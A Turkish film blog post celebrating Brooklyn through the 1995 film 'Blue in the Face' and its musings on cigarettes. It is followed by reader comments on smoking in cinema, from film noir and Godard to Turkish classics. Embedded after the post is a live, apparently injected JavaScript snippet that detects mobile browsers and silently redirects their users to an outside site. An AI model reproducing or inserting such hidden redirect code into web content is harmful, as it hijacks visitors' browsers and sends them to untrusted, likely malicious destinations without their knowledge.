Sigara Sağlığa Zararlıdır! (Bir Brooklyn Güzellemesi)

“Sigara, insana ölümlülüğü hatırlatır. Çekilen her nefes geçen bir an, geçen bir düşüncedir.”

‘Blue in the Face’ {Karanlık Sokaklar} – 1995
- Smoke’nin devamı niteliğindedir.
- Yönetmen koltuğunda bir kez daha Wayne Wang & Paul Auster ikilisi yer almaktadır.
- Olayların merkezi Brooklyn ve tütün dükkanıdır.
- Büyük bölümü doğaçlama çekilmiş olan filmde; çeşitli sosyal konumdan Brooklynli’nin röportajlarına yer verilmiştir.
- Sakinler, şehrin yol çukurlarına ve Yahudi asıllılarına dek istatistiki bilgiler verirler. Başlıkta da dediğim üzere bir bakıma Brooklyn güzellemesidir; Brooklynli olma bilincinin tezahürüdür.
- Bu öyle bir bilinçtir ki, yıllar öncesine dek uzanır. Semtin medar-ı iftiharı olmuş bir beyzbol takımının etrafında kenetlenmiştir Brooklyn halkı.
- Bu öyle bir kenetlenmedir ki, filmde de çeşitli defalar yarı-ciddi parodisi yapılan siyah/beyaz tüm ayrışımları ortadan kaldırmıştır. Zira takımı başarıya ulaştıran sporcu bir siyahtır.
- Karanlık Sokaklar’a paranın hükmü sirayet edecektir. Dolar ve sentin cazibesine kapılarak tütün dükkanını satmak isteyen Vinnie, karşısında Auggie’yi (Harvey Keitel) bulacaktır: Çünkü orası sıradan bir tütün dükkanı olmanın çok ötesindedir. Brooklynlilerin buluşma, kaynaşma arteridir.
- Çantası çalınan genç kız rolünde Mira Sorvino; Las Vegas’tan şarkılı telgraf getiren aracı rolünde Madonna; penis boyuna dek enteresan sorular yönelten anketör rolünde Michael J. Fox; sigarayı bırakan adam rolünde Jim Jarmusch… zengin bir kadrosu vardır filmin….

Hasılı; keyifle izlenecek, hayatın tam içinden bir bağımsız Karanlık Sokaklar.

Bob (Jim Jarmusch) ve Auggie (Harvey Keitel), sohbette. Mevzu bahis ‘sigara’ ;

- Pek çok insan sigaraya filmlerde gördüğü kahramanların etkisiyle başlar. James Dean, Marlon Brando (…)
- … Marlene Dietrich.
Ben de ‘A Walk in the Sun’ * filmiyle başladım sigaraya. Savaş filmi ve askerler cephededir. Richard Contre, makineli tüfek kullanıcısı. Yeni hedefe doğru ilerlemektedirler ve yanındaki adam da cephanesidir. Ona dönüp der ki: “Bir sigara!”…

(Sözüm tiryakilerden dışarı) Lütfen bırakınız şu zıkkımı. Hem sağlığınıza zarar hem cebinize…
Şu Belçika Waffle’ını da merak ettim.
* Batı Cephesinde Yeni Bir Şey Yok’un yönetmeni Levis Milestone imzalı bir savaş klasiğidir.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Sigara Sağlığa Zararlıdır! (Bir Brooklyn Güzellemesi)” bu yazı hakkında 22 yorum var

  • okaliptus80 diyor ki:

    Laf lafı açıyor. Bob diyor ki; (mealen)

    - Çok dikkatimi çekti. Neden çoğu filmde kurşunu biten silahları atar kahramanlar? Doldurulamayan çakmak mıdır bu? Kurşunun bitmesi o silahın bir daha kullanılamayacağı anlamına mı gelir yani! O kadar da pahalıdır bu silahlar.

    (…)

  • okaliptus80 diyor ki:

    Sigara, bazen de sazlı bir Beyoğlu (Pera) akşamında tanışma bahanesidir:

    - Bir sigara içebilir miyim? Yakar mısın? {Vesikalı Yârim – 1968}

  • Rashomon diyor ki:

    Sigara, bazen de -oturduğu koltukta- aşık olduğu resme hayran hayran bakan Halil’e eşlik eden bir arkadaştır… {Sevmek Zamanı – 1965}

  • Rashomon diyor ki:

    ..Eve vardığımda bomboştu. Evde oturdum, ama orada kimse yoktu. Bir hortlaktım; hiç kimseyi görmedim, hiç kimsede beni görmedi. Ben bir berberdim… {‘The Man Who Wasn’t There’ – 2001}

    Diyen adamın ağzında çok estetik duran bir tamamlayıcıdır, bazen de sigara.
    Sigarayı öyle bir çekişi var ki… Sanki hayatı çekiyor adam:)

  • Rashomon diyor ki:

    Paul Benjamin: İkinci dünya savaşı sırasında bir yazar, ‘Nazi’lerden kaçıyor. Bir evde tek başına saklanıyor ve tüm günlerini bulunup öldürülmek, korkusuyla yaşıyor. Tütünü var, ama sarıp içecek kağıdı yok. Elindeki son kağıt, tek kopya olan el yazması kitabı. Adam tütünü kitaplarının sayfasına sararak içmeye başlıyor ve kitabının tüm sayfalarını böylece tüketiyor. Adam, “kitabını” tüttürüyor!

    Rashid: Hayır, hiçbir yazar bunu yapmaz!

    Paul Benjamin: Peki. Hergün, her dakika ölüm korkusuyla yaşasaydın, sen ne yapardın?

    … {‘Smoke’ – 1995}

  • okaliptus80 diyor ki:

    ’The Man Who Wasn’t There’ gerçekten de sigaranın sinemada en estetik haliyle kullanıldığı sayılı filmlerdendir.

  • November76 diyor ki:

    Alan Parker’ın “Angel Heart – Şeytan Çıkmazı”nda Harry Angel’ın elinde ustura ile ve o kırmızı rengin içinde sigara içişi oldukça etkileyici bir görüntüdür benim için.

    Ve film boyunca içtiği …. sigarası da filmin sponsoru olsa gerek ki :) paketi defalarca gözümüze sokulur gibi gösteriliyordu.

  • okaliptus80 diyor ki:

    Beat Kuşağı, lanetlenmeyi bilmeden, lanetlenen insanların hikayesini anlatır. Bu hikayenin aktörleri; Jack Keorauch, William Burroghs ve Allen Ginsberg’in, 1960’lı yıllarda insanlara alkol ve uyuşturucunun etkisiyle “yapay bir cennet” vaat ediyorlardı. Bu yapay cennet, kalesini mutsuzluğun taşlarıyla örüyordu. Artık, hayattan nefret etmeyi bilen bir hayat; şiiriyle, sinemasıyla ve müziğiyle vardı. Janc’lar getto’lar da uyuşturucunun etkisiyle mutsuzluklarından silkiniyordu. Dennis Hooper, uyuşturucunun ve müziğin etkisiyle “Easy Rider”ı yaptığında, bu mutsuzluk hikayesi Amerika’ya gerçek köklerinin nerelerde olduğunu anlatıyordu: Biraz uyuşturucu, biraz alkol, biraz da sigara kötü bir şey değildi! Artık saç uzatmak, vücuduna dövme yaparak pejmürde elbiselerle motosiklete binmek moda olmanın ötesinde hayata karşı bir duruş şekli olmaya başlıyordu. Alt sınıfların öfkesi, ya dudakta bir sigara dumanı, ya motosikletin pedalına basılan bir gaz ya da topluma duyulan öfkenin bilinçaltı temellerini inşa ediyordu. Yaşanan hayat gittikçe ya bir acıyı ya da bir hüznü işaret ediyordu.

    “Sigara yasağına, Hollywood, Red Kit’in ağzındaki sigarayı bir dal parçasıyla değiştirerek karşılık verdi. Chaplin’se sigara içtiğinde rahatsız olduğunu belirterek öksürüp duruyordu.”

    Amerikan hükümeti ilk sigara yasağını başlattığı yıllarda Hollywood, buna karşılık olarak Ret Kit’in ağzındaki sigarayı çıkartıp, yerine küçük bir dal parçasını koyarak buna karşılık vermişti. Charlie Chaplin ise sigara içtiğinde rahatsız olduğunu belirterek öksürüp duruyordu. Hollywood, gittikçe her filminde Amerika’nın bir tür özgürlükler ülkesi olduğu anlatılıyordu ama bu o kadar da kolay değildi! Zaten özgürlük dediğimiz şey gittikçe bir sigara paketi fiyatına alınıp satılabilecek bir hale gelmişti. II. Dünya Savaşı’ndan sonra yeniden “Amerikan rüyası”nı canlandırmak için yapılan müzikal filmler, çocuk filmleri veya Amerikan ailesinin kutsandığı filmlerin hiçbirinde kahramanın veya figüranın sigara içmemesi de tam bu nokta da bir rastlantı değil, sonuç’tur.

  • okaliptus80 diyor ki:


    John Ford beyazperde kanla sulanan beyaz Amerikalıların tarihini anlattığı üçlemesi olan, Kan Kalesi (Ford Apache, 1948), She Wore a Yellow Ribbon (Sarı Kurdelalı Kız, 1949), Rio Grande (Kahramanlar Diyarı, 1950) filmlerinde idol oyuncusu John Wayne’e çoğunlukla sigara içirmemişti, ama Kızılderili reislerini mağlup ettiğinde, onlarla zorunlu uzlaşmalar sağlayıp hep beraber barış çubuğu tüttürürdüler. Yıllar sonra, batının o ıssız bozkırlarında parlak suratlı ve şık giyimli John Wayne’in yerini alan kirli sakallı, keskin bakışlı, yalnız ve biraz pejmürde giysili Clint Eastwood’a, Hollywood bu defa, o istemese de sigara içirtecekti. Batının ıssız topraklarında yıllar önce Ret Kit’in ağzından çıkan sigara, Eastwood’un ağzında tekrar geri dönüyordu. Hollywood, kahramanlarına özgürlüğün ve maceranın tadını yaşatmaya kararlıydı! Ama bu macera kahramanına sadece zaferi işaret etmiyordu. Hiç kimse mutlu değildi ve artık kahramanlar yenilgiyle tanışmıştı! Sergio Leone, bize filmlerinde Clint Eastwood gibi kahramanlarının sürekli hedefe nişan alırken ağzından da hiç düşürmediği sigarasını gösteriyordu. Leone, bu yakın planlarda bize, silah ve sigaranın bir güç dahası bir erkeklik sembolü olduğunu anlatmaya çalışıyordu. Hollywood, western filmlerinde Charles Bronson, Le Van Cliff, Elli Wallace gibi baskın erkek kahramanların özelinde sigarayı gittikçe kahramanın ağzındaki sigarayla daha uzun zaman tutmaya başlamıştı. Av ve avcı karakterleri sürekli yer değiştirerek, gittikçe sıkıntılarını sigara ile bertaraf etmeye başlamışlardı. Zaten ağızda ki sigara bitince, eller silahlara gidiyordu.

    “Sigara içen kahramanlar asla sigara içtikleri gibi görünmezler!”

    Modern hayatın gittikçe sertleşmeye başlamasıyla, kahramanlar düellolarda veya baskınlarda yaralanmaya başlamıştı. Bu dönüşümün en iyi ipuçlarını gangsterlerin dünyalarına bakarak okuyabiliriz. Francis Ford Coppola’nın “Baba-I-II-III” filmleri serialinde Don Carlione, kararlarını almadan önce sigarasından bir nefes çeker. Omuzu hep geride, başı hep yukarıdadır. Sigaranın dumanını eğer rakipleriyle karşı karşıyaysa meydan okur gibi onların üzerine, dostları ile beraber ise hafif aşağıya doğru üfler. Mafyada sigara statüyü değil, hep bir iddiayı ya da iktidar olmanın görkemli ifadesini dile getirir. Ve mafya çalışanları sigaraları genelde kapalı ve kumar oynanan loş mekanlarda içerler. Kumar ve içkinin karanlığında kaybolan takım elbiseli katiller sigaranın dumanıyla daha da karalığa boğulduklarında, hayatlarının da biraz muğlaklığı ve sisi içinde yavaş yavaş eriyorlardı. Kahramanlar ne kadar aydınlık mekanlarda dolaşırlarsa o kadar da sigaranın ve hayatın dumanından uzaklaşıyorlardı! Çünkü hayatın ışığı, sigaranın dumanını çok çabuk uçurabiliyordu!

  • okaliptus80 diyor ki:


    “Easy Rider’a göre biraz uyuşturucu, biraz alkol, biraz da sigara kötü bir şey değildi!”

    Hollywood, başlangıçta güç ve erkeklik sembolü olan sigarayı zamanla acının ve hüznün simgesi haline dönüştürmeye başardı. Şüphesiz bu konum Amerikan sinemasında ki kahramanların filmlerine bir özne parçalanması olarak yansıdı. Martin Scorsese’nin “Taksi Şoförü” filmindeki kahramanı Travis, sigara içmediği halde bu parçalanmayı en şiddetli yaşayanlardan biriydi. Aynaların ve gecenin mavisinde kaybolmaya yüz tutan her sokak serserisi, önce sigaranın dumanında kayboluyordu. Vietnam’dan dönen Travis, sokakların da uyuşturucu çeteleri, alkolikler ve sürekli sigara için insanlarla dolu olduğunu görünce filmin finalinde toptan bir temizliğe başlar! Bu da, McCarty uzantısı olan muhafazakarlığın eleştirisiydi işte! Ne de olsa, O, Vietnam’da Amerika’nın çıkarları ve halkının iyiliği için çarpışmış ve sağ olarak geri dönmüştü. O’na göre bu pislik temizlenmeliydi! Yine Scorsese, Clour Ot The Money (Paranın Rengi) filminin giriş sekansını bir kül tablasındaki yanan sigaranın dumanından başlatıyordu. Bu görkemli sahne başlangıcı bize birazdan olacak olayların ne kadar çok uçucu olabileceğini işaret ediyordu.

    Jack Nicholson, Hector Babenco’nun “Sonsuz Matem” filminde ağzından hiç düşürmediği sigarasıyla sanki kendi toplumsal statüsünün yas’ını tutuyordu. Bu yas, hiç bitmeyecek bir ayinin küçük bir parçasıydı aslında. Sürekli değişen sadece aktörlerdi! Burt Lancester gidiyordu, James Caburn geliyordu. Kısacası, hayat hep aynı hayattı! Dünya gittikçe içine sıkıştırıldığımız ve küçük bir oyun parçası olmaya başlayan yuvarlak bir küreydi işte! “Sonsuz Matem”, bu yuvarlak kürenin nasıl lanetlendiğini ve lanetlenen insanların nasıl bir hayat sürdüğünün hikayesini anlatıyordu. Jack Nicholson bir köşe başında yaslandığı duvardan içtiği sigaranın dumanına bakarak yavaş yavaş eğilerek yere oturmaya çalıştığında az önce kendi öldürdüğü bir arkadaşının hayaletini sokaklarda gördüğü için kendini bir türlü affedemez. Oysa, o hayat kendisi gibi ölen ya da affetmeyen bireylerle doludur. Jack Nicolson gibi film kahramanlarının hayatına sirayet eden acımasızlık, ölmenin ve öldürmenin ötesinde iki kelimeye eş düşer: Hüzün ve acı!

    Steve Buscemi, bir filmde “Amerika, özgürlükler ülkesidir! Ama o özgürlük sadece sigaranın dumanındadır” der. Bazı filmler sadece anlattığı gibi görünür, ama sigara içen kahramanlar asla sigara içtikleri gibi görünmezler!
    _____

    (Bir başlığıma kardeşimizin biri tarafından aktarılmış olan bu güzel yazı, alıntılanmıştır.)

    Auggie’nin (Harvey Keitel) yukarıda söylediklerine katılmamak mümkün mü şimdi?

  • okaliptus80 diyor ki:

    Başrolde “sigara”nın olduğu filmlerden biri bu geceyarısı Show Tv. ekranlarında olacak: ‘Ironweed’ {Sonsuz Matem} / Hector Babenco – 1987

    Jack Nicholson ve Meryl Streep’i buluşturan film, Amerika’nin “öteki” yüzünden insan manzaraları ortaya seriyor: Evsizler, ayyaşlar, zorlu hayat mücadeleleri… Biraz durgun bir ilerleyişe sahip olduğunu (uykulu bir halde izlendiğinde, Nicholson’un otobüsün arka koltuğunda seyir halinde olduğu sahne esnasında dalmak olası:); büyük çoğunluğunun sokak fonunda geçtiğini ekleyeyim.
    Ve sigaranın dudaklarına pek yakıştığı bir başrol oyuncusu…

  • okaliptus80 diyor ki:

    Dünya Sağlık Örgütü (WHO) dün açıkladı:

    “Dünya genelinde en sık görülen ilk 8 ölüm nedeninden 6′sı sigarayla doğrudan ilişkili.
    Tütün mamulleri kullanan bir kişi, sigara nedeniyle ömründen ortalama 15 yıl kaybediyor. Sigara içenlerin yarıya yakını, sigara içmelerine bağlı kalp, damar ve benzeri hastalıklar nedeniyle hayatını kaybediyor.
    Dünyada sigaraya bağlı hastalıklar nedeniyle hayatını kaybedenlerin yüzde 80′i gelişmekte olan ülkelerin vatandaşları.
    Ülkeler açısından bakıldığındaysa Orta ve Doğu Avrupa ile Güneydoğu Asya en yoğun sigara içilen coğrafyalar olarak göze çarpıyor. Dünya genelinde içilen tüm sigaraların üçte ikisini sadece 10 ülke tüketiyor. Sigara kullanım alanlarına yeni düzenlemeler getiren Türkiye de bu “en kötü 10 içici” listesinde yer alıyor.
    Türkiye, Bangladeş, Brezilya, Çin, Almanya, Hindistan, Endonezya, Japonya, Rusya ve ABD, sigara üreticilerinin ürettikleri sigaraların üçte ikisini sattıkları, en yoğun içici ülkeler olarak tanımlanıyor.
    …”
    ____

    “A Love Song for Bobby Long” {Boby Long’a Bir Aşk Şarkısı}

    Bu yakın tarihli çalışmada içilen sigaranın haddi hesabı yok! Başrolde ne John Travolta ne de Scarlet Johansson; başrolde tütün var. İzleyenler bilecektir.

  • November76 diyor ki:

    Sigaranın rolü olmasından hoşlanmadığım bir film: ‘Stand by Me’ {Benimle Kal – 1986} / Rob Reiner…

    Bir Stephen King uyarlaması olduğuna inanılması zor ama dört çocuğun yaz tatilinde çıktıkları bir macera yolculuğunu anlatıyordu. Çocuklarımız henüz 12 yaşlarındalar ve büyümenin getirdiği sancıların yanına ailevi problemler, küçük kasaba yaşantısının sıkıntıları, arkadaş ilişkilerindeki sorunlar da ekleniyor. Kendilerini kanıtlama ve bir kişilik oluşturma çabasındaki 4 erkek çocuk onlar. Fakat çok güzel olan bir şeye sahipler; 12 yaşının getirdiği samimiyet ve masumluğun bir sonucu harika dostluklara. Ahh bir de ellerindeki o sigaralar olmasa!

  • okaliptus80 diyor ki:

    Güzel film, güzel hatırlatma November.

    Agnes Varda’nın etkileyici filmi ‘Sans toit ni loi’ ya da daha bir bilinen ismiyle ‘Vagabond’da Sandrine Bonnaire’nin canlandırdığı karakter bu başlığa uygun ama biraz uç bir örnek. Ayrıntıya girmeyeyim, çünkü yakın zamanlarda ayrı bir başlıkta yorumlamak niyetindeyim bu filmi.

  • okaliptus80 diyor ki:

    Bekara karı boşamak kolay… Tiryakinin sigarayı bırakmasıysa zor! Hele ki biri bitmeden diğerini yakanlardansa…

    ‘Ah Güzel İstanbul’ {1966 – Atıf Yılmaz} filminden:

    Bir İstanbul beyefendisi olan Haşmet (Sadri Alışık), tüm film süresince dudaklarının köşesinde düşecekmiş gibi duran bir sigara ile görülür. Sipahi sigarası… Yalnız bir bölüm hariç!

    Bir ara bırakmaya heves ediyor çünkü. Caka olsun diye… Fakat “harmansızlığa” sadece birkaç saat dayanabilecektir. Efkar bastığı bir anda zor atıyor kendini büfeye:

    - Aman bir Sipahi ver canım kardeşim!

    - Oh be!

  • okaliptus80 diyor ki:

    Nerede bir zamanların baca gibi içen yıldızları…

    Günümüzde sigara içmenin git gide daha çok ülkede, daha ağır biçimde yasaklanması olayı, Hollywood’un parlak günlerini anımsatıyor. O zamanlar filmlerde sigara içmek neredeyse bir modernlik işareti, özellikle kadınlar için bir bağımsızlık manifestosu gibi kullanılırdı. Perdedeki dekor ne kadar çok dumana boğulur ve ortalık göz gözü görmez hale gelirse, sanki gerilim ve esrar da o denli artardı. Özellikle kara-film veya polisiye türü filmlerde… Hollywood yıldızları uzun yıllar boyu bol bol sigara, hatta kimi zaman pipo veya puro içtiler. Pipo örneğin, Sherlock Holmes gibi karakterlerin ayrılmaz işareti olurken, her türden filmde bol bol sigara tüttürüldü. En çok sigara içenlerin başında ünlü oyuncu, çifte Oscar’lı Bette Davis gelirdi. Davis’in filmlerinde bol sigara içmesi, aslında özel hayatındaki tiryakiliğinin bir devamıydı. Oyuncu sürekli ağzında sigarayla dolaşırdı. Yazar Rex Reed şöyle demişti: “Sanki sürekli kümülüs bulutları içinde yürür gibidir!”. Bir başka yazar, Walter Kerr ise filmlerinde hemen her zaman ‘Bir cümle arasında beş-altı kez sigarasından bir nefes çektiğini ve bunun ona çok yakıştığını’ yazmıştı. Yazar aynı zamanda, bunun sanatçının konsantrasyonunu hiç bozmadığına şaştığını da belirtmişti. Davis, bunu kimi zaman en ünlü sahnelerinin aksesuarı haline getirmişti. Nitekim ‘Now, Voyager’ {1942 – Irving Rapper} filminin finalinde, partneri Paul Henreid iki sigara yakıp birini ona verir. Ve o filmin ünlü cümlesini söyler: “Sevgilim, gökteki yıldızlara sahibiz. Artık ayı istemesek de olur!” Greta Garbo’dan Katharine Hepburn’a, Joan Crawford’dan Lana Turner’e, Marlene Dietrich’den Myrna Loy’a tüm ünlü kadın yıldızlar, filmlerinde bol bol sigara içtiler. O yıllarda sigara üretim şirketlerinin Hollywood yıldızlarına borcu, ödense de asla bitmez. Erkek yıldızlar da geri kalmadılar: Sigarasız bir Humphrey Bogart, Alan Ladd, Edward G. Robinson veya Clark Gable düşünülebilir mi? Fransızlar da bu modaya katıldılar. Özellikle Jean Gabin sigara içmediğinde puro içmeyi hiç ihmal etmedi. Sonraki yıllarda Yves Montand, Alain Delon, Jean-Paul Belmondo da bu geleneği sürdürdüler. Ve moda bize de sıçradı. Örneğin Çolpan İlhan 1959 yılının ünlü Zümrüt filminde, ‘kumara ve eğlenceye düşkün isterik ruhlu Feride’yi canlandırırken’ (Agah Özgüç, Türk Filmleri Sözlüğü), karşılaştığı her erkeğin sigara önerisine “Yak da ver!” yanıtını veren bir kadın kimliği yarattı. Sanatçıyla yıllar sonra yaptığım bir söyleşide, Çolpan bu deyişin o dönemde ne kadar popüler olduğunu, başta bindiği taksilerin şoförleri olmak üzere çok kişinin ona şaka yollu “Abla, yakıp da vereyim mi?” diye takıldığını anlatmıştı. İşte böyle. Nereden nereye! Artık toplumlarda uyanan tepkiye koşut olarak, belki beyazperde de sigaraya kapanacak. Ve filmlerde eskisi gibi fosur fosur tüttüren kişiliklere ve meydan okur gibi sigara içen oyunculara rastlamak bir hayal olacak.

    (Atilla Dorsay)

  • okaliptus80 diyor ki:

    Dün akşam Cnbc-e’de yönetmenliğini Diane Keaton’un yaptığı ‘Unstrung Heroes’ (1995) filmini izlerken, bu hoş yazı geldi aklıma. Hakikaten ‘mozaikleme’ olayını iyice abartan kanallarımız, zaten bitmek bilmez reklam kuşakları dolayısıyla işkence olan o saatleri, daha da azap haline getiriyorlar. İyice komediye döndü bu sansür işi! Filmde sık sık ‘tüttürürken’ gördüğümüz Andie MacDowell’ın sigarasını, her defasında kırmızı bir çiçek ile kamufle ettiler.

    Yasak elmanın cazibesini unutmuşa benziyorlar.:)

  • oscar1895 diyor ki:

    Kapalı mekanlardaki sigara yasağıyla beraber zaten çileye dönüşen tütün keyfi, gelen son zamlarla beraber tiryakileri adeta çileden çıkarmaya yetti. Oysa sigara kutularının üzerindeki uyarılar aklı başındaki içiciler için zaten yeterli bir anlam ifade etmekteydi. ‘’Sigarayı bırakacağım’’, ‘’Bırakamıyorum’’, ‘’İradem zayıf’’ diyen o hiç de sevmediğim sigara kullanıcılarını bir kenara bırakacak olursak eğer, biz ‘’hakiki tütün seviciler’’ için ağır yasaklar ve zamlar sigarayı bırakmayı düşünmekten ziyade, haklı bir öfkeye dönüşmekte.

    Üstelik yer yüzünde sağlığa zararlı o kadar çok şey olduğu halde kaçını televizyonların sabaha doğru kuşağında görebiliyoruz? Geçenlerde gazetede okumuştum. Cep telefonlarının üzerine radyasyon tehlikesi uyarıları yazılması gerektiğini vurgulamışlar. Çok daha fazlasını istiyoruz. Bütün dikkatleri acınası bir propagandayla aynı zararlı maddenin üzerinde yoğunlaştırıp, en az kendisi kadar zararlı olan diğer maddeleri yok saymak koca bir ahmaklıktır.

    Vakti zamanında sigara ve alkol gibi zararlı maddeleri piyasaya süren şirketlerin, ürünlerini pazarlamak için türlü türlü yollara başvurmaları elbette ki hiç de samimi bir davranış değildi. Bir paketin üzerindeki deve amblemini bir erkek penisi gibi çizmeleri (pek inandırıcı değil ama doğru olduğunu varsayarsak), ağızlarındaki sigarayla poz veren modern kovboyların kocaman afişleri, seksi kadınların içki şişesinin yanındaki uzun bacaklarıyla verdiği pozlar gibi ürünlerini pazarlamak için giriştikleri nice çeşitli yollar ne kadar samimiyetten uzaksa, sigara karşıtı reklamlar da bana o kadar samimiyetten uzak geliyor.

    ***

    En çok kara filmlere (film-noir) yakışıyor sanırım. Her türlü pisliğe bulaşan ‘cool’ kahramanımızdan tutun da ‘femme fatale’ kadınlara kadar, filmdeki hemen her karakterin elinde durmadan onu ararız. Köpüklü küvetin içerisinde, pürüzsüz ve uzun bacaklarını dışarı sarkmış ölümcül kadının dumanı her içine çekişinde, canını yakacağı nice güçlü erkeğin ruhunu içine çeker sanki. Boşuna dememişler ‘’Sigara içmeyin ve içenden de uzak durun’’ diye… Yine de kadının ellerine sigara çok yakışıyor kanımca. Üstelik çok da seksi gösteriyor. Yine de ölümcüldür kendisi. Tıpkı içindeki nikotini ciğerlerinin derinliklerine çeken o ölümcül kadınlar gibi. Hatta yasak meyvenin metaforudur sigara. Reconstruction’ın girişinde elindeki sigarayı bir çeşit illüzyonla avuçlarının arasında gezdiren şu adamı hatırlayın. Hani her şeyin bir kurgudan ibaret olduğu ve inadına canımızı yaktığı şu modern zamanlar başyapıtını. Erkek içeri girer. Maria Bonnevie hüzünlü yüzüyle yasak meyveyi tüttürmektedir. Erkek yaklaşır ve işte aşk başlar. Ancak yasak meyveden tadanların yeri cehennemin orta yeridir.

    Kara filmlerin aranan aktörü Humhrey Bogart gırtlak kanserinden öldü. Sigara karşıtı reklamlar için iyi bir malzeme. Yine de dudaklarının arasından düşmeyen sigarasıyla yer etmiştir hafızalarımızda ünlü aktör. Ağzından çıkardığı onca dumanla sadece seyircisini değil, diğer film kahramanlarını da etkilemiştir. À bout de souffle’ın karizmatik serserisi Michel durmadan Bogart’ı taklit edip durur. Tıpkı Bogartın dudakları gibi kalın dudaklara sahip aktörümüzün Godard’ın arka arkaya çektiği iki filmde sigarayla ilgili sahnelerini anımsatmak istiyorum. İlki À bout de souffle’de kısacık saçları ve elindeki New York Herald Tribune’le kendisini (ve bizi) baştan çıkaran Patricia’yla Paris sokaklarını arşınlarken, karşıdan geçen bir adam Michel’den sigarasını yakmak için ateş ister. Michel ise gerek adamın gerekse bizim hiç beklemediğimiz bir tepkiyle karşılık verir. Cebinden çıkardığı bozuk parayı adama uzatarak: ”Al şu parayı ve kendine bir kutu kibrit al.”der. Bir sonraki film Une femme est une femme’de ise kocası ve kocasının arkadaşı arasında gidip gelen mahvedici melek ‘Angela’ var. Onu sevdiğini ispatlamak için duvara kafa bile atan Alfred’e kendisini beklemesini, eğer beş dakika içerisinde tente hala aşağıda ise tekrar geleceğini, ancak değilse gelmeyeceğini söyler. Alfred bu bitmek bilmeyen beş dakikalık zaman dilimi içerisinde bir sigara yakar. Ancak gelip gidene ateş vermekten, sigarasını bir türlü içemez ve bize À bout de souffle’da Michel’in ne kadar doğru bir karar verdiğini hatırlatır.

    Godard’ın filmlerinden konu açılmışken… Godard’ın güzeller güzeli karısı Anna Karina’nın da sigara içişi hemen her filmde baştan çıkarıcı ve kışkırtıcı kareler olarak yer etmiştir hafızamızda. Özellikle de Vivre Sa Vie’de bir aktris olmak isterken kendini kaldırımlarda bir fahişe olarak bulan Nana’nın yabancı bir erkeğin kolarında sigarasını tüttürdüğü kare, bir kadının bağımsızlığının en güzel yansımalarından biridir.

    Başka bir zaman devam edeceğim.

  • kadir503 diyor ki:

    Atilla Dorsay’ın da yazısında belirttiği gibi kara filmlerin değişmez bir parçası sigara. O kasvetli atmosferlerde ya da gecenin pırıltısında hani o kadar güzel bir melankoni oluşturuyor ki…

    Sevgili okaliptus’un da değindiği gibi sigaranın ağzında ne güzel durduğu bir yıldız Jack Nicholson… Zira Polanski’nin kara film klasiği “Chinatown”da film boyunca tabakasından çıkarıp çıkarıp yakan tiryaki dedektifimiz Jake’i unutmak ne mümkün…

    Kara sinemadan devam edersek Melville’in modern noir klasiği “Le Samouraï”de Alain Delon’un canlandırdığı Jeff Costello uzanıp yatağında tüttürdüğü açılış sekansında ne kadar da bütünleşmiş gözüküyordu sigarasıyla… Gerçi gitanes marka sigarası film boyunca ‘yalnız’ bırakmıyordu ya onu…

